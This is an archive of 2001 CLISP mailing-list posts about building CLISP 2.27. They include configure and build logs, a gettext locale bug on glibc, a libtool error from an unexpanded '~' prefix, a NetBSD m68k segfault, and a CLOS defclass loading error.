checking whether make sets $(MAKE)... (cached) yes
checking for gcc... (cached) gcc -O
checking whether the C compiler (gcc -O   -L/home/ramses/src/Lisp/clisp-2.2=
7/build) works... yes
checking whether the C compiler (gcc -O   -L/home/ramses/src/Lisp/clisp-2.2=
7/build) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking how to run the C preprocessor... (cached) gcc -O -E -w
checking for ranlib... (cached) ranlib
checking for a BSD compatible install... /usr/bin/install -c
checking host system type... i686-pc-linux-gnu
checking for ranlib... (cached) ranlib
checking for POSIXized ISC... (cached) no
checking for ANSI C header files... (cached) yes
checking for working const... yes
checking for inline... (cached) inline
checking for off_t... yes
checking for size_t... yes
checking for working alloca.h... yes
checking for alloca... yes
checking for unistd.h... (cached) yes
checking for getpagesize... yes
checking for working mmap... yes
checking whether we are using the GNU C Library 2.1 or newer... (cached) yes
checking for argz.h... yes
checking for limits.h... yes
checking for locale.h... (cached) yes
checking for nl_types.h... yes
checking for malloc.h... yes
checking for stddef.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for unistd.h... (cached) yes
checking for sys/param.h... yes
checking for feof_unlocked... yes
checking for fgets_unlocked... yes
checking for getcwd... yes
checking for getegid... yes
checking for geteuid... yes
checking for getgid... yes
checking for getuid... yes
checking for mempcpy... yes
checking for munmap... (cached) yes
checking for putenv... (cached) yes
checking for setenv... yes
checking for setlocale... (cached) yes
checking for stpcpy... yes
checking for strchr... yes
checking for strcasecmp... yes
checking for strdup... yes
checking for strtoul... yes
checking for tsearch... yes
checking for __argz_count... yes
checking for __argz_stringify... yes
checking for __argz_next... yes
checking for iconv... yes
checking for iconv declaration...=20
         extern size_t iconv (iconv_t cd, char * *inbuf, size_t *inbyteslef=
t, char * *outbuf, size_t *outbytesleft);
checking for nl_langinfo and CODESET... yes
checking for LC_MESSAGES... yes
checking whether NLS is requested... yes
checking whether included gettext is requested... yes
checking for msgfmt... msgfmt
checking for gmsgfmt... msgfmt
checking for xgettext... :
checking for bison... bison
checking version of bison... 1.28, ok
checking for catalogs to be installed...  en de fr es nl
updating cache ../config.cache
creating ./config.status
creating intl/Makefile
creating po/Makefile
creating config.h

I have also the final linking command, where I wonder why -liconv is there
(but should not cause harm):

gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomi=
t-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -=
DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control=
.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o p=
ackage.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predt=
ype.o symbol.o lisparit.o foreign.o unixaux.o ari80386.o modules.o libsigse=
gv.a libintl.a libiconv.a libreadline.a libavcall.a libcallback.a  -lncurse=
s -ldl -liconv -o lisp.run

Regards.

--=20

Bernard Urban


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> * In message <87pu95mwtu.fsf@merceron.meteo.fr>
> * On the subject of "Re: [clisp-list] internationalization problem on cli=
sp-2.27"
> * Sent on 05 Sep 2001 18:22:37 +0200
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> Sam Steingold <sds@gnu.org> writes:
>=20
> > > > $ rm -rf build
> > > > $ ./configure --build build
> > > > $ cd build
> > > > $ ./.clisp -q -norc -L french -x '(/ 0)'
> >=20
> > this does work for me with the current development sources.
> > could you please try the CVS version?
> > thanks!
>=20
> I just gave it a try: same problem.

I don't think you removed the build directory.

> > > Sorry, does not solve the problem.
> > you mean, you get "message inimprimable"?!
>=20
> The above is in french, I would be happy with that as a starter...
> I have message "division by zero" instead of "Division par z=E9ro".

this is an entirely different problem from the one I am trying to
solve.
note that it should be "-L FRENCH" or "-L french", not "-L French".

> executing build/gettext/configure ...
> loading cache ../config.cache

if you are doing the fresh build,
at this time there should not be any cache.

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Sam Steingold <sds@gnu.org> writes:

> > * In message <87pu95mwtu.fsf@merceron.meteo.fr>
> > * On the subject of "Re: [clisp-list] internationalization problem on c=
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> > * Sent on 05 Sep 2001 18:22:37 +0200
> > * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
> >
> > Sam Steingold <sds@gnu.org> writes:
> >=20
> > > > > $ rm -rf build
> > > > > $ ./configure --build build
> > > > > $ cd build
> > > > > $ ./.clisp -q -norc -L french -x '(/ 0)'
> > >=20
> > > this does work for me with the current development sources.
> > > could you please try the CVS version?
> > > thanks!
> >=20
> > I just gave it a try: same problem.
>=20
> I don't think you removed the build directory.
>=20

I downloaded the CVS tarball, and checked out of it the distribution, so no
build directory was present initially.

> > > > Sorry, does not solve the problem.
> > > you mean, you get "message inimprimable"?!
> >=20
> > The above is in french, I would be happy with that as a starter...
> > I have message "division by zero" instead of "Division par z=E9ro".
>=20
> this is an entirely different problem from the one I am trying to
> solve.
> note that it should be "-L FRENCH" or "-L french", not "-L French".
>=20

I use "-L french".

> > executing build/gettext/configure ...
> > loading cache ../config.cache
>=20
> if you are doing the fresh build,
> at this time there should not be any cache.
>=20

It is the config.cache from the upper level configure.=20
Isn't that normal ?

--=20

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Date: Wed Sep  5 20:15:02 2001
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The subject kind of says it all.  I got the 2.27 tarball from
sourceforge, unpacked it, and you can see the rest below...

[tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ uname -a
SunOS apocalypse.OCF.Berkeley.EDU 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-1
[tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ ./configure --prefix=~ --config
executing src/configure ...
creating cache ./config.cache
checking for gcc... gcc
checking whether the C compiler (gcc  ) works... yes
checking whether the C compiler (gcc  ) is a cross-compiler... no
checking whether we are using GNU C... yes
checking how to run the C preprocessor... gcc -O -E -w
checking for AIX... no
checking whether using GNU C... yes
checking whether using C++... no
checking whether using ANSI C... yes
checking whether CPP likes indented directives... yes
checking whether CPP likes empty macro arguments... yes
checking for underscore in external names... no
checking for ranlib... ranlib
checking for a BSD compatible install... /opt/local/bin/ginstall -c
checking how to copy files... cp -p
checking how to make hard links... ln
checking whether ln -s works... yes
checking how to make hard links to symlinks... hln
checking for groff... groff
checking for getpwnam... yes
checking for DYNIX/ptx libseq or libsocket... no
checking whether gethostent requires -lnsl... yes
checking whether setsockopt requires -lsocket... yes
checking whether CC works at all... yes
checking host system type... sparc-sun-solaris2.8
checking for 64-bit SPARC... no
checking for inline... inline
checking for working void... yes
checking for working "return void"... yes
checking for long long type... yes
checking for ANSI C header files... yes
checking for offsetof in stddef.h... yes
checking for stdbool.h... no
checking for locale.h... yes
checking for unistd.h... yes
checking for sys/file.h... yes
checking for R_OK in unistd.h... yes
checking for sys/file.h... (cached) yes
checking for O_RDWR in fcntl.h... yes
checking for dirent.h that defines DIR... yes
checking for opendir in -ldir... no
checking for sys/utsname.h and struct utsname... yes
checking for netdb.h... yes
checking for sys/shm.h... yes
checking for sys/ipc.h... yes
checking for termios.h... yes
checking for termio.h... yes
checking for sys/termio.h... yes
checking for sgtty.h... yes
checking for tcgetattr... yes
checking for tcsetattr declaration... 
         extern int tcsetattr (int, int, const struct termios *);
checking for TCSAFLUSH in termios.h... yes
checking for struct winsize in termios.h... yes
checking for X11
checking for xmkmf... yes
checking for X... libraries /usr/openwin/lib, headers /usr/openwin/include
checking for caddr_t in sys/types.h... yes
checking for socklen_t in sys/socket.h... yes
checking for d_namlen in struct dirent... no
checking for struct tm in sys/time.h... yes
checking for strlen declaration... 
         extern size_t strlen (const char*);
checking for memset declaration... 
         extern char* memset (char*, int, int);
checking for broken HP/UX malloc... no
checking for malloc declaration... 
         extern void* malloc (unsigned int);
checking for free declaration... 
         extern void free (void*);
checking for working alloca.h... yes
checking for alloca... yes
checking for _setjmp... yes
checking for _longjmp... yes
checking return type of signal handlers... void
checking whether the signal handler function type needs dots... no
checking for sighold... yes
checking for sigprocmask... yes
checking for sigblock... no
checking for signal blocking interfaces... SystemV POSIX
checking for sigprocmask declaration... 
         extern int sigprocmask (int, const sigset_t*, sigset_t*);
checking whether signal handlers need to be reinstalled... yes
checking whether signals are blocked when signal handlers are entered... no
checking whether other signals are blocked when signal handlers are entered... no
checking for sigaction... yes
checking whether sigaction handlers need to be reinstalled... no
checking whether signals are blocked when sigaction handlers are entered... yes
checking for siginterrupt... yes
checking for fpu_control_t... no
checking for __setfpucw... no
checking for raise... yes
checking for abort declaration... 
         extern void abort (void);
checking for perror declaration... yes
checking for strerror... yes
checking for sys_errlist declaration... 
         extern char* sys_errlist[];
checking for getenv declaration... 
         extern char* getenv (const char*);
checking for putenv... yes
checking for putenv declaration... 
         extern int putenv (char*);
checking for setlocale declaration... 
         extern char* setlocale (int, const char*);
checking for setrlimit... yes
checking for getrlimit declaration... 
         extern int getrlimit (int, struct rlimit *);
checking for setrlimit declaration... 
         extern int setrlimit (int, const struct rlimit *);
checking for ANSI C header files... yes
checking for pid_t... yes
checking for vfork.h... no
checking for working vfork... yes
checking for vfork declaration... 
         extern pid_t vfork (void);
checking for setsid... yes
checking for setpgid... yes
checking for execv declaration... 
         extern int execv (const char*, char* const[]);
checking for execl declaration... 
         extern int execl (const char*, const char*, ...);
checking for waitpid declaration... 
         extern pid_t waitpid (pid_t, int*, int);
checking for sys/resource.h... yes
checking for sys/times.h... yes
checking for getrusage... yes
checking for getrusage declaration... 
         extern int getrusage (int, struct rusage *);
checking for getcwd... yes
checking for getcwd declaration... 
         extern char* getcwd (char*, size_t);
checking for chdir declaration... 
         extern int chdir (const char*);
checking for mkdir declaration... 
         extern int mkdir (const char*, mode_t);
checking for rmdir declaration... 
         extern int rmdir (const char*);
checking whether stat file-mode macros are broken... no
checking for fstat declaration... 
         extern int fstat (int, struct stat *);
checking for stat declaration... 
         extern int stat (const char*, struct stat *);
checking for lstat... yes
checking for lstat declaration... 
         extern int lstat (const char*, struct stat *);
checking for readlink... yes
checking for readlink declaration... 
         extern int readlink (const char*, char*, size_t);
checking for ELOOP... yes
checking for opendir declaration... 
         extern DIR* opendir (const char*);
checking for closedir declaration... 
         extern int closedir (DIR*);
checking for usable closedir return value... yes
checking for open declaration... 
         extern int open (const char*, int, ...);
checking for read declaration... 
         extern int read (int, void*, size_t);
checking for write declaration... 
         extern int write (int, const void*, size_t);
checking for rename declaration... 
         extern int rename (const char*, const char*);
checking for unlink declaration... 
         extern int unlink (const char*);
checking for fsync... yes
checking for ioctl declaration... 
         extern int ioctl (int, int, ...);
checking for FIONREAD... no
checking for FIONREAD in sys/filio.h... yes
checking for reliable FIONREAD... yes
checking for fcntl declaration... 
         extern int fcntl (int, int, ...);
checking for select... yes
checking for sys/select.h... yes
checking for select declaration... 
         extern int select (int, fd_set *, fd_set *, fd_set *, struct timeval *);
checking for ualarm... yes
checking for setitimer... yes
checking for setitimer declaration... 
         extern int setitimer (int, struct itimerval *, struct itimerval *);
checking for usleep... yes
checking for localtime declaration... 
         extern struct tm * localtime (const time_t*);
checking for gettimeofday... yes
checking for gettimeofday declaration... 
         extern int gettimeofday (struct timeval *, void *);
checking for ftime... yes
checking for getpwnam declaration... 
         extern struct passwd * getpwnam (const char*);
checking for getpwuid declaration... 
         extern struct passwd * getpwuid (uid_t);
checking for gethostname... yes
checking for gethostname declaration... 
         extern int gethostname (char*, int);
checking for gethostbyname declaration... 
         extern struct hostent * gethostbyname (const char*);
checking for connect declaration... 
         extern int connect (int, const struct sockaddr *, size_t);
checking for sys/un.h... yes
checking for sun_len in struct sockaddr_un... no
checking for IPv4 sockets... yes
checking for IPv6 sockets... yes
checking for inet_pton... yes
checking for inet_ntop... yes
checking for netinet/in.h... yes
checking for arpa/inet.h... yes
checking for inet_addr declaration... 
         extern unsigned int inet_addr (const char*);
checking for netinet/tcp.h... yes
checking for setsockopt declaration... 
         extern int setsockopt (int, int, int, const void*, unsigned int);
checking for the code address range... 0x00000000
checking for the malloc address range... 0x00000000
checking for the shared library address range... 0xFF000000
checking for the stack address range... 0xFF000000
checking for getpagesize... yes
checking for getpagesize declaration... 
         extern int getpagesize (void);
checking for vadvise... no
checking for vm_allocate... no
checking for sys/mman.h... yes
checking for mmap... yes
checking for mmap declaration... 
         extern caddr_t mmap (caddr_t, size_t, int, int, int, off_t);
checking for working mmap... yes
checking for munmap... yes
checking for msync... yes
checking for mprotect... yes
checking for mprotect declaration... 
         extern int mprotect (caddr_t, size_t, int);
checking for working mprotect... yes
checking for shmget declaration... 
         extern int shmget (key_t, size_t, int);
checking for shmat declaration... 
         extern void* shmat (int, const void*, int);
checking for shmdt declaration... 
         extern int shmdt (char*);
checking for shmctl declaration... 
         extern int shmctl (int, int, struct shmid_ds *);
checking for working shared memory... yes
checking for sys/sysmacros.h... yes
checking for attachability of removed shared memory... no
checking for dlopen... yes
checking for dlsym declaration... 
         extern void* dlsym (void* handle, const char* symbol);
checking for dlerror declaration... 
         extern char * dlerror ();
checking for iconv... yes
checking for iconv declaration... 
         extern size_t iconv (iconv_t cd, const char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t* outbytesleft);
checking for tgetent... no
checking for tgetent in -lncurses... no
checking for tgetent in -ltermcap... yes
checking for the valid characters in filenames... 8-bit
checking for inline __builtin_strlen... no
checking whether characters are unsigned... no
checking for integer types and behaviour
creating intparam.h
updating cache ./config.cache
creating ./config.status
creating makemake
creating unixconf.h
executing src/libiconv/configure ...
loading cache ../config.cache
checking whether make sets $(MAKE)... yes
checking for gcc... (cached) gcc -O
checking whether the C compiler (gcc -O  ) works... yes
checking whether the C compiler (gcc -O  ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking how to run the C preprocessor... (cached) gcc -O -E -w
checking whether -traditional is needed for gcc -O on this system... no
checking for ranlib... (cached) ranlib
checking for a BSD compatible install... (cached) /opt/local/bin/ginstall -c
checking how to copy files... (cached) cp -p
checking how to make hard links... (cached) ln
checking whether ln -s works... (cached) yes
checking host system type... (cached) sparc-sun-solaris2.8
checking for AIX... (cached) no
checking for minix/config.h... no
checking for POSIXized ISC... no
checking for object suffix... o
checking for Cygwin environment... no
checking for mingw32 environment... no
checking for executable suffix... no
checking build system type... sparc-sun-solaris2.8
checking for ld used by GCC... /usr/ccs/bin/ld
checking if the linker (/usr/ccs/bin/ld) is GNU ld... no
checking for /usr/ccs/bin/ld option to reload object files... -r
checking for BSD-compatible nm... /usr/ccs/bin/nm -p
checking how to recognise dependant libraries... pass_all
checking command to parse /usr/ccs/bin/nm -p output... ok
checking for dlfcn.h... yes
checking for ranlib... (cached) ranlib
checking for strip... strip
checking for objdir... .libs
checking for gcc option to produce PIC... -fPIC
checking if gcc PIC flag -fPIC works... yes
checking if gcc static flag -static works... yes
checking if gcc supports -c -o file.o... yes
checking if gcc supports -c -o file.lo... 
checking if gcc supports -fno-rtti -fno-exceptions... yes
checking whether the linker (/usr/ccs/bin/ld) supports shared libraries... yes
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... no
checking dynamic linker characteristics... solaris2.8 ld.so
checking if libtool supports shared libraries... yes
creating libtool
checking for locale.h... (cached) yes
checking for stdlib.h... yes
checking for mbstate_t... yes
checking for iconv... (cached) yes
checking for iconv declaration... (cached) 
         extern size_t iconv (iconv_t cd, const char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t* outbytesleft);
checking for mbrtowc... yes
checking for wcrtomb... yes
checking for mbsinit... yes
checking for setlocale... yes
checking byte ordering... big endian
updating cache ../config.cache
creating ./config.status
creating Makefile
creating lib/Makefile
creating src/Makefile
creating man/Makefile
creating tests/Makefile
creating include/iconv.h
creating lib/config.h
configuring in libcharset
running /bin/sh ../../../libiconv/libcharset/configure  '--prefix=~' --enable-static --disable-shared --cache-file=../../config.cache --srcdir=../../../libiconv/libcharset
loading cache ../../config.cache
checking whether make sets ${MAKE}... (cached) yes
checking for gcc... (cached) gcc -O
checking whether the C compiler (gcc -O  ) works... yes
checking whether the C compiler (gcc -O  ) is a cross-compiler... no
checking whether we are using GNU C... (cached) yes
checking whether gcc -O accepts -g... yes
checking how to run the C preprocessor... (cached) gcc -O -E -w
checking whether gcc -O needs -traditional... (cached) no
checking for a BSD compatible install... /opt/local/bin/ginstall -c
checking host system type... sparc-sun-solaris2.8
checking for AIX... no
checking for minix/config.h... (cached) no
checking for POSIXized ISC... no
checking for object suffix... (cached) o
checking for Cygwin environment... (cached) no
checking for mingw32 environment... (cached) no
checking for executable suffix... (cached) no
checking build system type... sparc-sun-solaris2.8
checking for ld used by GCC... (cached) /usr/ccs/bin/ld
checking if the linker (/usr/ccs/bin/ld) is GNU ld... (cached) no
checking for /usr/ccs/bin/ld option to reload object files... (cached) -r
checking for BSD-compatible nm... (cached) /usr/ccs/bin/nm -p
checking whether ln -s works... yes
checking how to recognise dependant libraries... (cached) pass_all
checking command to parse /usr/ccs/bin/nm -p output... (cached) ok
checking for dlfcn.h... (cached) yes
checking for ranlib... (cached) ranlib
checking for strip... (cached) strip
checking for objdir... .libs
checking for gcc option to produce PIC... (cached)  -fPIC
checking if gcc PIC flag  -fPIC works... (cached) yes
checking if gcc static flag -static works... (cached) yes
checking if gcc supports -c -o file.o... (cached) yes
checking if gcc supports -c -o file.lo... (cached) 
checking if gcc supports -fno-rtti -fno-exceptions... yes
checking whether the linker (/usr/ccs/bin/ld) supports shared libraries... yes
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... no
checking dynamic linker characteristics... solaris2.8 ld.so
checking if libtool supports shared libraries... yes
creating libtool
checking for langinfo.h... yes
checking for nl_langinfo... yes
checking for nl_langinfo and CODESET... yes
checking whether we are using the GNU C Library 2.1 or newer... no
checking for stddef.h... yes
checking for stdlib.h... (cached) yes
checking for string.h... yes
checking for setlocale... (cached) yes
updating cache ../../config.cache
creating ./config.status
creating Makefile
creating lib/Makefile
creating config.h
builddir="`pwd`"; cd libcharset && make all && make install-lib libdir="$builddir/lib" includedir="$builddir/lib"
if [ ! -d include ] ; then mkdir include ; fi
cp ../../../libiconv/libcharset/include/libcharset.h.in include/libcharset.h
cd lib && make all
/bin/sh ../libtool --mode=compile gcc -O -I. -I../../../../libiconv/libcharset/lib -I.. -I../../../../libiconv/libcharset/lib/.. -g -O2  -DHAVE_CONFIG_H -DLIBDIR=\"~/lib\" -c ../../../../libiconv/libcharset/lib/localcharset.c
gcc -O -I. -I../../../../libiconv/libcharset/lib -I.. -I../../../../libiconv/libcharset/lib/.. -g -O2 -DHAVE_CONFIG_H "-DLIBDIR=\"~/lib\"" -c ../../../../libiconv/libcharset/lib/localcharset.c -o localcharset.o
echo timestamp > localcharset.lo
/bin/sh ../libtool --mode=link gcc -O  -o libcharset.la -rpath ~/lib -version-info 1:0:0 -no-undefined localcharset.lo
libtool: link: only absolute run-paths are allowed
*** Error code 1
make: Fatal error: Command failed for target `libcharset.la'
Current working directory /opt/src/users/tfb/clisp-2.27/src/libiconv/libcharset/lib
*** Error code 1
make: Fatal error: Command failed for target `all'
Current working directory /opt/src/users/tfb/clisp-2.27/src/libiconv/libcharset
*** Error code 1
make: Fatal error: Command failed for target `all'


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> * In message <15254.59947.388467.317152@apocalypse.OCF.Berkeley.EDU>
> * On the subject of "[clisp-list] Problems trying to build on SunOS 5.8"
> * Sent on Wed, 5 Sep 2001 20:14:51 -0700
> * Honorable "Thomas F. Burdick" <tfb@OCF.Berkeley.EDU> writes:
>
> The subject kind of says it all.  I got the 2.27 tarball from
> sourceforge, unpacked it, and you can see the rest below...
> 
> [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ uname -a
> SunOS apocalypse.OCF.Berkeley.EDU 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-1
> [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ ./configure --prefix=~ --config
                                                                            ^
> ...
> /bin/sh ../libtool --mode=link gcc -O  -o libcharset.la -rpath ~/lib -version-info 1:0:0 -no-undefined localcharset.lo
> libtool: link: only absolute run-paths are allowed
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> *** Error code 1

give an absolute path to the --prefix argument.

(of course, you must make distclean first; if it doesn't work - since
configuration failed - remove the source tree and unpack the tarball again)

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Date: Thu Sep  6 06:31:03 2001
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Good news from the front ! It works now on Linux (not tried Solaris so far
to confirm Raymond Toy message).

I spotted the problem to be in gettext/intl/dcigettext.c in 
#define HAVE_LOCALE_NULL. It appears that setlocale (.., NULL) does
not work as assumed in the case of glibc2, and always returns the C
locale instead of the fr locale defined in spvw_language.d.

So undefining HAVE_LOCALE_NULL forces the code to use instead
getenv("LC_MESSAGES"), which works ok.

Also, the installation process does not need a pre-intallation of libiconv,
you proceed as the unix/INSTALL says.

One gotcha, though: you need option "-Eterminal iso8859-1" in french
language (or you have "Message inimprimable") and in spanish (or you
have message 
"Character #\u00F3 cannot be represented in the character set CHARSET:ASCII").

A long term solution to the above HAVE_LOCALE_NULL problem is probably
to test the feature through autoconf.

Regards.

-- 

Bernard Urban


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On Thu, Sep 06, 2001 at 03:30:36PM +0200, Bernard Urban wrote:

...cut...

> One gotcha, though: you need option "-Eterminal iso8859-1" in french
> language (or you have "Message inimprimable") and in spanish (or you
> have message 
> "Character #\u00F3 cannot be represented in the character set CHARSET:ASCII").

Hi,

You can also set *terminal-encoding* to have a suitable value for
:charset, then you won't need the "-E" flag.

Peter


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Hi!

I tried to build clisp 2.27 on the machine mentioned in the subject, but
encountered serious problems:

1. 'Checking for working mmap' blew up the machine with a kernel panic, the=

workaround was to set an environment variable indicating that mmap doesn't
work.

2. Later on, the configure script called a program 'minitests' that seemed
to run fine ...

void f(void):
void f(void):
int f(void):->99
int f(void):->99
int f(int):(1)->2
int f(int):(1)->2
int f(2*int):(1,2)->3
int f(2*int):(1,2)->3
int f(4*int):(1,2,3,4)->10
int f(4*int):(1,2,3,4)->10
int f(8*int):(1,2,3,4,5,6,7,8)->36
int f(8*int):(1,2,3,4,5,6,7,8)->36
int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143
int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143
float f(float):(0.1)->1.1
float f(float):(0.1)->1.1
float f(2*float):(0.1,0.2)->0.3
float f(2*float):(0.1,0.2)->0.3
float f(4*float):(0.1,0.2,0.3,0.4)->1
float f(4*float):(0.1,0.2,0.3,0.4)->1
float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
float
f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.=
7)->1
4.3
float
f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.=
7)->1
4.3
double f(double):(0.1)->1.1
double f(double):(0.1)->1.1
double f(2*double):(0.1,0.2)->0.3
double f(2*double):(0.1,0.2)->0.3
double f(4*double):(0.1,0.2,0.3,0.4)->1
double f(4*double):(0.1,0.2,0.3,0.4)->1
double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
double
f(16*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1=
.7)->
14.3
double
f(16*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1=
.7)->
14.3
uchar f(uchar,ushort,uint,ulong):(97,2,3,4)->255
uchar f(uchar,ushort,uint,ulong):(97,2,3,4)->255
double f(int,int,double,double):(1,2,0.3,0.4)->3.7
double f(int,int,double,double):(1,2,0.3,0.4)->3.7
double f(int,double,int,double):(1,0.2,3,0.4)->4.6
double f(int,double,int,double):(1,0.2,3,0.4)->4.6
ushort f(char,double,char,double):('a',0.2,'=C4',0.4)->65506
ushort f(char,double,char,double):('a',0.2,'=C4',0.4)->65506
long long f(float,long
long,int):(1.4,0x35c6f707fffffffa,0xe)->0x35c6f70800000009
long long f(float,long
long,int):(1.4,0x35c6f707fffffffa,0xe)->0x35c6f70800000009
void* f(void*,double*,char*,Int*):(0x81e0,0x8168,0x2746,0x8278)->0x8169
void* f(void*,double*,char*,Int*):(0x81e0,0x8168,0x2746,0x8278)->0x8169
Int f(Int,Int,Int):({1},{2},{3})->{6}
Int f(Int,Int,Int):({1},{2},{3})

... but then died with a segfault.

Has anyone any hints what I could try to get the thing running?

Best regards!

=09Alex




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> * In message <l03130300b7bd737c7b57@[134.176.249.87]>
> * On the subject of "[clisp-list] Problems building on m68k-apple-NetBSD1.5.1"
> * Sent on Thu, 6 Sep 2001 20:54:02 +0200
> * Honorable Alexander Klein <Alexander.Klein@math.uni-giessen.de> writes:
>
> I tried to build clisp 2.27 on the machine mentioned in the subject, but
> encountered serious problems:
> 
> 1. 'Checking for working mmap' blew up the machine with a kernel
> panic, the workaround was to set an environment variable indicating
> that mmap doesn't work.

this should be reported to the autoconf maintainers (I think)

> 2. Later on, the configure script called a program 'minitests' that seemed
> to run fine ...
> 
> void f(void):
> ...... [sds: lots deleted]
> Int f(Int,Int,Int):({1},{2},{3})
> 
> .... but then died with a segfault.

either build without dynamic ffi, of bypass the test: just above the
minitest you should see a command like this

cd foo; make && make check && make install-lib .....
execute the "make install-lib" part by hand and proceed.


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Sam Steingold writes:
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 > > The subject kind of says it all.  I got the 2.27 tarball from
 > > sourceforge, unpacked it, and you can see the rest below...
 > > 
 > > [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ uname -a
 > > SunOS apocalypse.OCF.Berkeley.EDU 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-1
 > > [tfb@apocalypse]/opt/local/src/users/tfb/clisp-2.27$ ./configure --prefix=~ --config
 >                                                                             ^
 > > ...
 > > /bin/sh ../libtool --mode=link gcc -O  -o libcharset.la -rpath ~/lib -version-info 1:0:0 -no-undefined localcharset.lo
 > > libtool: link: only absolute run-paths are allowed
 >                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 > > *** Error code 1
 > 
 > give an absolute path to the --prefix argument.

Oops, shows how lousy my shell skills are (I thought it would expand
the ~).  That did it, thanks.


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Sam writes:

> give an absolute path to the --prefix argument.

Right. --prefix=$HOME would have worked.

The difference between $HOME and ~ is that the former is expanded by
the shell, whereas ~ is expanded (or refused to be expanded) by each
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>>>>> "Bruno" == Bruno Haible <haible@ilog.fr> writes:

Bruno> Sam writes:
>> give an absolute path to the --prefix argument.

Bruno> Right. --prefix=$HOME would have worked.

Bruno> The difference between $HOME and ~ is that the former is
Bruno> expanded by the shell, whereas ~ is expanded (or refused to be
Bruno> expanded) by each program.

Bash does tilde expansion.

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Date: Mon Sep 10 05:52:02 2001
X-Original-Date: Mon, 10 Sep 2001 05:42:24 -0500

Greetings,
	I am running CLISP on an i386-unknown-netbsdelf1.5.1 (Toshiba
460 CDT).  I ran into problems compiling/loading cmn
(ftp://ftp-ccrma.stanford.edu/pub/Lisp/cmn.tar.gz, my current copy is
dated Aug 27, 2001 ) with CLISP-2.27.
The form that is a problem seems to be:

 

2. Break CMN[16]> ;;; Evaluate (defclass box-mixin ()
  ((x0 :initarg :x0 :initform 0 :reader x0 :reader box-x0 :type number)
   (y0 :initarg :y0 :initform 0 :reader y0 :reader box-y0 :type number)
   (x1 :initarg :x1 :initform 0 :reader x1 :reader box-x1 :type number)
   (y1 :initarg :y1 :initform 0 :reader y1 :reader box-y1 :type number)))
*** - Y0 does not name a generic function
3. Break CMN[17]> 

The relevant dribble files are at the end along with the source for
cmn-objects.lisp which seems to be the problem.

  I do not understand why this error occurs here.  Cltl2 indicates
that this is the right kind of form for #'defclass.  My understanding
of CLOS is not very great, so perhaps someone else might see the problem.
CLISP-2.24 (nee 2000-03-06) compiles and loads this with no problem,
cmn files load and PS scores are generated.  I am not sure whether the
problem is with the newer CLOS or something else. How ought I to fix
this?


		  Thanks,
		  John Towler

----------
#<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"clisp-2.27-out" @1>
[2]> (lisp-implementation-version)
"2.27 (released 2001-07-17) (built 3208654828) (memory 3208657091)"
[3]> (load "cmn-all" )
;; Loading file /usr/local/src/lisp/cmn/cmn-all.lisp ...
Compiling file /usr/local/src/lisp/cmn/cmn-loop.lisp ...

Compilation of file /usr/local/src/lisp/cmn/cmn-loop.lisp is finished.
The following functions were used but are deprecated:
 GENTEMP
0 errors, 0 warnings
;;  Loading file /usr/local/src/lisp/cmn/cmn-loop.fas ...
;;  Loading of file /usr/local/src/lisp/cmn/cmn-loop.fas is finished.
Compiling file /usr/local/src/lisp/cmn/cmn-init.lisp ...
; (PROGN (DEFPACKAGE :CMN (:USE :LOOP :LISP ...) ...) (IN-PACKAGE :CMN))
; (PUSHNEW :CMN *FEATURES*)
; (DEFVAR *CMN-BINARY-DIRECTORY* "./")
; (DEFVAR *CMN-SOURCE-DIRECTORY* "./")
; (DEFVAR *CMN-VERSION* "Common Music Notation 27-Aug-01")
; (DEFVAR *CMN-NEWS* ...)

Compilation of file /usr/local/src/lisp/cmn/cmn-init.lisp is finished.
0 errors, 0 warnings
;;  Loading file /usr/local/src/lisp/cmn/cmn-init.fas ...
;;  Loading of file /usr/local/src/lisp/cmn/cmn-init.fas is finished.
Compiling file /usr/local/src/lisp/cmn/cmn-utils.lisp ...
; (IN-PACKAGE :CMN)
; (DEFUN RATIOP (N) (AND (NOT (INTEGERP N)) (TYPEP N 'RATIO)))
; (DEFUN DIVIDE (A B) (IF (ZEROP B) (PROGN # A) (/ A B)))
